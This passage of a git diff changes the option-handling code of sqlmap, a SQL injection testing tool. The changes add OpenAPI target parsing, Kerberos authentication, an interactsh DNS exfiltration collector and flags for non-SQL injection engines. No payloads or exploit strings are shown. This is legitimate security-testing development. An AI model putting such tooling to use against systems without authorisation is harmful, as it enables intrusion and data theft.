re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + # Note: a non-empty line that is not a target (blank line, comment, + # non-parameterized URL) must be skipped, not treated as end-of-input + continue + + # end-of-input (or read error): drain any queued targets, then stop + if self.__rest: + return self.__rest.pop() + + raise StopIteration() def add(self, elem): self.__rest.add(elem) @@ -482,6 +498,76 @@ def _setBulkMultipleTargets(): warnMsg = "no usable links found (with GET parameters)" logger.warning(warnMsg) +def _setOpenApiTargets(): + if not conf.openApiFile: + return + + from lib.parse.openapi import openApiTargets + + if conf.method: + warnMsg = "option '--method' will override the HTTP method(s) derived from the OpenAPI/Swagger specification" + logger.warning(warnMsg) + + # origin resolves a spec's relative 'servers' to absolute target URLs: an explicit '--openapi-base' + # (needed for a host-less local spec) or, when fetched by URL, the fetch URL itself. + origin = conf.openApiBase.rstrip('/') if conf.openApiBase else None + if re.match(r"(?i)\Ahttps?://", conf.openApiFile): + infoMsg = "fetching OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + from lib.request.connect import Connect as Request + content = Request.getPage(url=conf.openApiFile, raise404=True)[0] + if not origin: + match = re.match(r"(?i)(https?://[^/]+)", conf.openApiFile) + origin = match.group(1) if match else None + else: + conf.openApiFile = safeExpandUser(conf.openApiFile) + checkFile(conf.openApiFile) + infoMsg = "parsing OpenAPI/Swagger specification from '%s'" % conf.openApiFile + logger.info(infoMsg) + with openFile(conf.openApiFile) as f: + content = f.read() + + tags = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.openApiTags) if _.strip()] if conf.openApiTags else None + if tags: + infoMsg = "restricting extraction to OpenAPI/Swagger operations tagged: %s" % ", ".join(tags) + logger.info(infoMsg) + + try: + targets = openApiTargets(content, origin, tags) + except ValueError as ex: + errMsg = "unable to parse the OpenAPI/Swagger specification ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + + if re.search(r"(?i)securitySchemes|securityDefinitions", content) and not any((conf.authType, conf.authCred, conf.authFile)) and not any((_[0] or "").lower() == HTTP_HEADER.AUTHORIZATION.lower() for _ in (conf.httpHeaders or [])): + warnMsg = "the OpenAPI/Swagger specification declares authentication (security schemes) but no credentials were provided. " + warnMsg += "If the API requires authentication, requests are likely to be rejected. Provide credentials with " + warnMsg += "'--auth-type'/'--auth-cred' or a header (e.g. --headers=\"Authorization: Bearer ...\")" + logger.warning(warnMsg) + + before = len(kb.targets) # openapi carries per-target bodies -> no conf.data fallback + mutating = 0 + for url, method, data, headers in targets: + if conf.scope and not re.search(conf.scope, url, re.I): + continue + if method not in ("GET", "HEAD", "OPTIONS"): + mutating += 1 + kb.targets.add((url, method, data, conf.cookie, tuple(headers) if headers else None)) + + added = len(kb.targets) - before + if added: + conf.multipleTargets = True + infoMsg = "derived %d target(s) from the OpenAPI/Swagger specification" % added + logger.info(infoMsg) + if mutating: + warnMsg = "%d of the derived target(s) use state-changing HTTP methods (e.g. POST/PUT/PATCH/DELETE). " % mutating + warnMsg += "Scanning them may create, modify or delete server-side data" + logger.warning(warnMsg) + else: + warnMsg = "no usable targets derived from the OpenAPI/Swagger specification" + if not conf.openApiBase: + warnMsg += " (if it uses relative 'servers', provide a base with '--openapi-base' or fetch it by URL)" + logger.warning(warnMsg) + def _findPageForms(): if not conf.forms or conf.crawlDepth: return @@ -608,7 +694,7 @@ def _setMetasploit(): else: warnMsg = "the provided Metasploit Framework path " warnMsg += "'%s' is not valid. The cause could " % conf.msfPath - warnMsg += "be that the path does not exists or that one " + warnMsg += "be that the path does not exist or that one " warnMsg += "or more of the needed Metasploit executables " warnMsg += "within msfcli, msfconsole, msfencode and " warnMsg += "msfpayload do not exist" @@ -754,12 +840,31 @@ def _listTamperingFunctions(): logger.info(infoMsg) for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))): - content = openFile(script, 'r').read() + with openFile(script, 'r') as f: + content = f.read() match = re.search(r'(?s)__priority__.+"""(.+)"""', content) if match: comment = match.group(1).strip() dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) +def _argSpec(function): + """ + Cross Py2/Py3 argument-name introspection - inspect.getargspec() is deprecated since + Python 3.0 and removed entirely since 3.11, while inspect.getfullargspec() (used here + whenever available) covers the same 'args'/'keywords' need without the warning/removal + """ + + return inspect.getfullargspec(function) if hasattr(inspect, "getfullargspec") else inspect.getargspec(function) + +def _kwargsName(function): + """ + Name of 'function's **kwargs-style catch-all parameter, or None - the field holding it is + called 'varkw' on a getfullargspec() result and 'keywords' on a (Python 2) getargspec() one + """ + + spec = _argSpec(function) + return getattr(spec, "varkw", None) or getattr(spec, "keywords", None) + def _setTamperingFunctions(): """ Loads tampering functions from given script(s) @@ -810,6 +915,7 @@ def _setTamperingFunctions(): sys.path.insert(0, dirname) try: + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) @@ -817,8 +923,15 @@ def _setTamperingFunctions(): priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = priority if priority is not None else PRIORITY.LOWEST + if not isinstance(priority, int): + warnMsg = "tamper module '%s' has an invalid value for '__priority__' " % filename[:-3] + warnMsg += "(assuming '%d')" % PRIORITY.NORMAL + logger.warning(warnMsg) + + priority = PRIORITY.NORMAL + for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): + if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or _argSpec(function).args and _kwargsName(function) == "kwargs"): found = True kb.tamperFunctions.append(function) function.__name__ = module.__name__ @@ -860,6 +973,18 @@ def _setTamperingFunctions(): warnMsg += "a good idea" logger.warning(warnMsg) + # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines do not run + # payloads through the tampering hook, so warn instead of silently ignoring the user's + # '--tamper'. One tuple drives both the test and the name lookup - keeping two lists in step is + # exactly how this raised StopIteration, and leaving an engine OUT (as '--hql' was) is how the + # warning silently stops covering one. + _nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe", "hql", "sparql", "odata") + if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines): + engine = next(_ for _ in _nonSqlEngines if conf.get(_)) + warnMsg = "tamper scripts are applied to SQL injection payloads only and " + warnMsg += "will be ignored by the '--%s' engine" % engine + logger.warning(warnMsg) + if resolve_priorities and priorities: priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] @@ -909,13 +1034,14 @@ def _setPreprocessFunctions(): sys.path.insert(0, dirname) try: + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): try: - if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): + if name == "preprocess" and _argSpec(function).args and all(_ in _argSpec(function).args for _ in ("req",)): found = True kb.preprocessFunctions.append(function) @@ -992,12 +1118,13 @@ def _setPostprocessFunctions(): sys.path.insert(0, dirname) try: + getattr(importlib, "invalidate_caches", lambda: None)() # Note: py3.3+ only; a script just written into an already-scanned dir is invisible to a cached FileFinder (Windows coarse mtime) module = __import__(safeFilepathEncode(filename[:-3])) except Exception as ex: raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + if name == "postprocess" and _argSpec(function).args and all(_ in _argSpec(function).args for _ in ("page", "headers", "code")): found = True kb.postprocessFunctions.append(function) @@ -1239,18 +1366,27 @@ def _setHTTPHandlers(): handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " + # Note: persistent (Keep-Alive) connections are used by default (including through an HTTP(s) + # proxy - the keep-alive handler pools the proxy socket for plain HTTP and the CONNECT-tunnelled + # socket per origin for HTTPS); '--no-keep-alive' opts out, and they are automatically disabled + # when incompatible (authentication methods, or chunked transfer-encoding of the request body - + # handled by a dedicated, non-pooling handler). Negotiate is the one auth exception: its token is + # a per-request, end-to-end header (minted fresh each request, no connection-bound handshake), so + # persistent connections remain safe and worthwhile. + negotiateAuth = (conf.authType or "").lower() == AUTH_TYPE.NEGOTIATE + conf.keepAlive = not conf.noKeepAlive and not conf.chunked and (not conf.authType or negotiateAuth) - if conf.proxy: - warnMsg += "with HTTP(s) proxy" - logger.warning(warnMsg) - elif conf.authType: - warnMsg += "with authentication methods" - logger.warning(warnMsg) - else: - handlers.append(keepAliveHandler) + if conf.keepAlive: + # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS + # handler supersedes the regular one (reusing its SSL connection) + if httpsHandler in handlers: + handlers.remove(httpsHandler) + handlers.append(keepAliveHandler) + handlers.append(keepAliveHandlerHTTPS) + elif not conf.noKeepAlive and (conf.authType or conf.chunked): + reason = "authentication methods" if conf.authType else "chunked transfer-encoding" + debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason + logger.debug(debugMsg) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" @@ -1354,7 +1490,7 @@ def _setAuthCred(): def _setHTTPAuthentication(): """ - Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI), + Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM, Negotiate or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ @@ -1377,9 +1513,9 @@ def _setHTTPAuthentication(): errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) - elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest, Bearer, NTLM or PKI" + errMsg += "Basic, Digest, Bearer, NTLM, Negotiate or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: @@ -1395,9 +1531,12 @@ def _setHTTPAuthentication(): elif authType == AUTH_TYPE.BEARER: conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) return - elif authType == AUTH_TYPE.NTLM: - regExp = "^(.*\\\\.*):(.*?)$" - errMsg = "HTTP NTLM authentication credentials value must " + elif authType in (AUTH_TYPE.NTLM, AUTH_TYPE.NEGOTIATE): + # Note: the DOMAIN\username part is colon-free, so the password group takes the full + # remainder (a greedy first group would otherwise swallow colons inside the password). + # For Negotiate, DOMAIN is the Kerberos realm. + regExp = "^([^:]*\\\\[^:]*):(.*)$" + errMsg = "HTTP %s authentication credentials value must " % authType errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " @@ -1423,15 +1562,14 @@ def _setHTTPAuthentication(): authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: - try: - from ntlm import HTTPNtlmAuthHandler - except ImportError: - errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM. Download from " - errMsg += "'https://github.com/mullender/python-ntlm'" - raise SqlmapMissingDependence(errMsg) - - authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) + from lib.request.ntlm import HTTPNtlmAuthHandler + authHandler = HTTPNtlmAuthHandler(kb.passwordMgr) + + elif authType == AUTH_TYPE.NEGOTIATE: + from lib.request.kerberos import HTTPNegotiateAuthHandler + # DOMAIN is the Kerberos realm; the KDC is auto-discovered (env / krb5.conf / DNS SRV / realm) + realm, _, user = conf.authUsername.partition('\\') + authHandler = HTTPNegotiateAuthHandler(realm, user, conf.authPassword) else: debugMsg = "setting the HTTP(s) authentication PEM private key" logger.debug(debugMsg) @@ -1454,14 +1592,14 @@ def _setHTTPExtraHeaders(): if not headerValue.strip(): continue - if headerValue.count(':') >= 1: + if headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] + elif headerValue.count(':') >= 1: header, value = (_.lstrip() for _ in headerValue.split(":", 1)) if header and value: conf.httpHeaders.append((header, value)) - elif headerValue.startswith('@'): - checkFile(headerValue[1:]) - kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) @@ -1675,9 +1813,9 @@ def _createTemporaryDirectory(): except Exception as ex: warnMsg = "there has been a problem while accessing " warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) - warnMsg += "make sure that there is enough disk space left. If problem persists, " + warnMsg += "make sure that there is enough disk space left. If the problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " - warnMsg += "writeable by the current user" + warnMsg += "writable by the current user" logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: @@ -1825,7 +1963,7 @@ def _cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe, conf.openApiFile)): conf.multipleTargets = True if conf.optimize: @@ -1992,7 +2130,7 @@ def _cleanupEnvironment(): Cleanup environment (e.g. from leftovers after --shell). """ - if issubclass(_http_client.socket.socket, socks.socksocket): + if getattr(_http_client.socket, "socket", None) is not getattr(socks, "_orgsocket", None): socks.unwrapmodule(_http_client) if hasattr(socket, "_ready"): @@ -2071,9 +2209,10 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache = AttribDict() kb.cache.addrinfo = {} kb.cache.content = LRUDict(capacity=16) - kb.cache.comparison = {} + kb.cache.comparison = LRUDict(capacity=256) kb.cache.encoding = LRUDict(capacity=256) kb.cache.alphaBoundaries = None + kb.cache.charsetAsciiTbl = None kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} @@ -2084,9 +2223,17 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars = AttribDict() kb.chars.delimiter = randomStr(length=6, lowercase=True) - kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) - kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) - kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + # NOTE: markers have to be mutually distinct (e.g. equal start/stop makes the delimited output ambiguous, while equal replacement markers make _errorReplaceChars() restore the wrong character). Also, none of the inner letters may be the boundary character itself, as that makes a marker contain a shorter one (e.g. 'qzqxq' carrying 'qzq') + _ = set() + while len(_) < 2: + _.add(randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET)) + kb.chars.start, kb.chars.stop = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, __, KB_CHARS_BOUNDARY_CHAR) for __ in _) + + _ = set() + while len(_) < 4: + _.add(randomStr(length=1, lowercase=True)) + _.discard(KB_CHARS_BOUNDARY_CHAR) + kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, __, KB_CHARS_BOUNDARY_CHAR) for __ in _) kb.checkWafMode = False kb.choices = AttribDict(keycheck=False) @@ -2133,6 +2280,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.forkNote = None kb.futileUnion = None kb.fuzzUnionTest = None + kb.gadget = None kb.heavilyDynamic = False kb.headersFile = None kb.headersFp = {} @@ -2143,7 +2291,19 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.heuristicPage = False kb.heuristicTest = None kb.hintValue = "" + kb.jwtChecked = False kb.htmlFp = [] + kb.huffmanModel = {} + kb.respTruncated = False + kb.huffmanValidated = False + kb.disableHuffman = False + kb.huffmanProbes = 0 + kb.huffmanEscapes = 0 + kb.lowCardCache = {} + kb.dumpCharset = {} + kb.dumpCharsetStable = {} + kb.litmusCounter = 0 + kb.reliabilityAlarm = False kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None @@ -2157,13 +2317,17 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "multibit", "prediction", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False + kb.trueLength = None kb.mergeCookies = None + kb.mysqlUtf8mb4 = None kb.multiThreadMode = False + kb.multibit = {} # per injection point: absent=untried, False=unusable, else the row channel profile + kb.multibitHinted = False kb.multipleCtrlC = False kb.negativeLogic = False kb.nchar = True @@ -2186,11 +2350,20 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.pageTemplate = None kb.pageTemplates = dict() kb.pageEncoding = DEFAULT_PAGE_ENCODING + + # calibrated TRUE/FALSE reference bodies for the boolean same-HTTP-code anomaly guard (inference.py) + kb.trueTemplate = None + kb.falseTemplate = None + + # latched once network jitter is observed, so character validation escalates to a majority vote + kb.jitterSeen = False kb.pageStable = None + kb.pageStructurallyStable = None kb.partRun = None kb.permissionFlag = False kb.place = None kb.postHint = None + kb.grpcWeb = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False @@ -2225,6 +2398,9 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None + kb.timeless = None # active HTTP/2 timeless-timing oracle (lib/request/timeless.py) or None + kb.timelessHinted = False # whether the "target speaks HTTP/2 -> try --timeless" nudge was shown (once/run) + kb.timelessRestore = None # classic time-based vector to re-forge stragglers onto after disengaging kb.tempDir = None kb.testMode = False kb.testOnlyCustom = False @@ -2236,12 +2412,14 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.udfFail = False kb.unionDuplicates = False kb.unionTemplate = None + kb.wafBypass = None kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False if flushAll: kb.checkSitemap = None + kb.crawledHosts = set() # hosts whose robots.txt / well-known paths were already probed kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) kb.lastCtrlCTime = None @@ -2481,6 +2659,26 @@ def _setDNSServer(): if not conf.dnsDomain: return + from lib.core.settings import OOB_INTERACTSH_SERVERS + + _requested = conf.dnsDomain.strip().lower() + if _requested in ("interactsh", "oast", "oob") or _requested in OOB_INTERACTSH_SERVERS: + infoMsg = "setting up interactsh-backed DNS exfiltration collector" + logger.info(infoMsg) + + try: + conf.dnsServer = InteractshDNSServer(server=_requested if _requested in OOB_INTERACTSH_SERVERS else None) + conf.dnsServer.run() + conf.dnsDomain = conf.dnsServer.domain + except socket.error as ex: + errMsg = "there was an error while setting up " + errMsg += "the interactsh DNS collector ('%s')" % getSafeExString(ex) + raise SqlmapGenericException(errMsg) + + infoMsg = "using interactsh DNS collector (exfiltration domain '%s')" % conf.dnsDomain + logger.info(infoMsg) + return + infoMsg = "setting up DNS server instance" logger.info(infoMsg) @@ -2506,9 +2704,11 @@ def _setProxyList(): return conf.proxyList = [] - for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): - _, type_, address, port = match.groups() - conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port)) + # Note: preserve an explicit scheme and any 'user:pass@' credentials (entries use the same format + # as --proxy); otherwise a SOCKS proxy is silently downgraded to HTTP and proxy auth is dropped + for match in re.finditer(r"(?i)((http[^:\s]*|socks[^:\s]*)://)?(?:([^:@\s/]+:[^@\s/]*)@)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)): + _, type_, cred, address, port = match.groups() + conf.proxyList.append("%s://%s%s:%s" % (type_ or "http", ("%s@" % cred) if cred else "", address, port)) def _setTorProxySettings(): if not conf.tor: @@ -2575,14 +2775,6 @@ def putheader(self, header, *values): _http_client.HTTPConnection._http_vsn = 10 _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' - if conf.url and (conf.url.startswith("ws:/") or conf.url.startswith("wss:/")): - try: - from websocket import ABNF - except ImportError: - errMsg = "sqlmap requires third-party module 'websocket-client' " - errMsg += "in order to use WebSocket functionality" - raise SqlmapMissingDependence(errMsg) - def _checkTor(): if not conf.checkTor: return @@ -2604,6 +2796,12 @@ def _checkTor(): logger.info(infoMsg) def _basicOptionValidation(): + _nonSqlTechniques = ["--%s" % _ for _ in NONSQL_TECHNIQUES if conf.get(_)] + if len(_nonSqlTechniques) > 1: + errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) + errMsg += "each is a self-contained scan for a different back-end class - pick one" + raise SqlmapSyntaxException(errMsg) + if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0): errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)" raise SqlmapSyntaxException(errMsg) @@ -2639,6 +2837,10 @@ def _basicOptionValidation(): errMsg = "switch '--text-only' is incompatible with switch '--null-connection'" raise SqlmapSyntaxException(errMsg) + if conf.http2 and any((conf.tor, conf.proxy and conf.proxy.lower().startswith("socks"))): + errMsg = "HTTP/2 support is currently incompatible with SOCKS/Tor proxies" + raise SqlmapSyntaxException(errMsg) + if conf.uValues and conf.uChar: errMsg = "option '--union-values' is incompatible with option '--union-char'" raise SqlmapSyntaxException(errMsg) @@ -2671,8 +2873,22 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) - if conf.chunked and not any((conf.data, conf.requestFile, conf.forms)): - errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r' or '--forms'" + if conf.alert and os.environ.get("SQLMAP_UNSAFE_ALERT") != '1': + errMsg = "for security reasons, to prevent execution of potentially malicious " + errMsg += "OS commands via configuration files or copy-paste attacks, " + errMsg += "the '--alert' option requires the environment variable " + errMsg += "'SQLMAP_UNSAFE_ALERT=1' to be explicitly set" + raise SqlmapSystemException(errMsg) + + if conf.evalCode and os.environ.get("SQLMAP_UNSAFE_EVAL") != '1': + errMsg = "for security reasons, to prevent execution of potentially malicious " + errMsg += "Python code via configuration files or copy-paste attacks, " + errMsg += "the '--eval' option requires the environment variable " + errMsg += "'SQLMAP_UNSAFE_EVAL=1' to be explicitly set" + raise SqlmapSystemException(errMsg) + + if conf.chunked and not any((conf.data, conf.requestFile, conf.forms, conf.openApiFile)): + errMsg = "switch '--chunked' requires usage of (POST) options/switches '--data', '-r', '--forms' or '--openapi'" raise SqlmapSyntaxException(errMsg) if conf.api and not conf.configFile: @@ -2772,10 +2988,6 @@ def _basicOptionValidation(): errMsg = "switch '--dump' is incompatible with switch '--dump-all'" raise SqlmapSyntaxException(errMsg) - if conf.predictOutput and (conf.threads > 1 or conf.optimize): - errMsg = "switch '--predict-output' is incompatible with option '--threads' and switch '-o'" - raise SqlmapSyntaxException(errMsg) - if conf.threads > MAX_NUMBER_OF_THREADS and not conf.get("skipThreadCheck"): errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS raise SqlmapSyntaxException(errMsg) @@ -2813,7 +3025,7 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.csrfToken and conf.threads > 1: - errMsg = "option '--csrf-url' is incompatible with option '--threads'" + errMsg = "option '--csrf-token' is incompatible with option '--threads'" raise SqlmapSyntaxException(errMsg) if conf.requestFile and conf.url and conf.url != DUMMY_URL: @@ -2965,7 +3177,7 @@ def init(): parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe, conf.openApiFile)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() @@ -2981,6 +3193,7 @@ def init(): _doSearch() _setStdinPipeTargets() _setBulkMultipleTargets() + _setOpenApiTargets() _checkTor() _setCrawler() _findPageForms() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 44b4ca8f560..ae26b65fb31 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -19,6 +19,9 @@ "sessionFile": "string", "googleDork": "string", "configFile": "string", + "openApiFile": "string", + "openApiBase": "string", + "openApiTags": "string", }, "Request": { @@ -30,6 +33,7 @@ "liveCookies": "string", "loadCookies": "string", "dropSetCookie": "boolean", + "http10": "boolean", "http2": "boolean", "agent": "string", "mobile": "boolean", @@ -77,8 +81,8 @@ "Optimization": { "optimize": "boolean", - "predictOutput": "boolean", "keepAlive": "boolean", + "noKeepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, @@ -100,6 +104,7 @@ "prefix": "string", "suffix": "string", "tamper": "string", + "proof": "boolean", }, "Detection": { @@ -109,6 +114,7 @@ "notString": "string", "regexp": "string", "code": "integer", + "lengths": "boolean", "smart": "boolean", "textOnly": "boolean", "titles": "boolean", @@ -116,7 +122,23 @@ "Techniques": { "technique": "string", + "disableStats": "boolean", + "nosql": "boolean", + "graphql": "boolean", + "ldap": "boolean", + "xpath": "boolean", + "ssti": "boolean", + "xxe": "boolean", + "xslt": "boolean", + "hql": "boolean", + "sparql": "boolean", + "odata": "boolean", + "jwt": "boolean", + "oobServer": "string", + "oobToken": "string", "timeSec": "integer", + "timeless": "boolean", + "multiBit": "boolean", "uCols": "string", "uChar": "string", "uFrom": "string", @@ -151,6 +173,7 @@ "search": "boolean", "getComments": "boolean", "getStatements": "boolean", + "getProcs": "boolean", "db": "string", "tbl": "string", "col": "string", @@ -226,6 +249,7 @@ "eta": "boolean", "flushSession": "boolean", "forms": "boolean", + "mineParams": "boolean", "freshQueries": "boolean", "googlePage": "integer", "harFile": "string", @@ -235,10 +259,12 @@ "postprocess": "string", "preprocess": "string", "repair": "boolean", + "reportJson": "string", "saveConfig": "string", "scope": "string", "skipHeuristics": "boolean", "skipWaf": "boolean", + "tablePrefix": "string", "testFilter": "string", "testSkip": "string", "timeLimit": "float", @@ -268,10 +294,14 @@ "Hidden": { "dummy": "boolean", "disablePrecon": "boolean", + "noHuffman": "boolean", "profile": "boolean", "forceDns": "boolean", - "murphyRate": "integer", + "jitter": "integer", "smokeTest": "boolean", + "fpTest": "boolean", + "payloadLint": "boolean", + "apiTest": "boolean", }, "API": { diff --git a/lib/core/patch.py b/lib/core/patch.py index 86a5c4e6be0..c7796d0615b 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -6,7 +6,7 @@ """ import codecs -import collections +import difflib import inspect import logging import os @@ -70,7 +70,8 @@ def _send_output(self, *args, **kwargs): # add support for inet_pton() on Windows OS if IS_WIN: - from thirdparty.wininetpton import win_inet_pton + from thirdparty.wininetpton.win_inet_pton import inject_into_socket + inject_into_socket() # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440 codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None) @@ -84,7 +85,7 @@ def _(self, *args): _http_client.LineAndFileWrapper.readline = _ # to prevent too much "guessing" in case of binary data retrieval - thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 + thirdparty.chardet.universaldetector.UniversalDetector.MINIMUM_THRESHOLD = 0.90 match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) if match and match.group(1).upper() != PLACE.POST: @@ -177,6 +178,14 @@ def reject(*args): raise ValueError("XML entities are forbidden") et.parse = _safe_parse et._patched = True + try: + import builtins + except ImportError: + import __builtin__ as builtins + + if "enumerate" in difflib.__dict__ and difflib.enumerate is not builtins.enumerate: + difflib.enumerate = builtins.enumerate + def 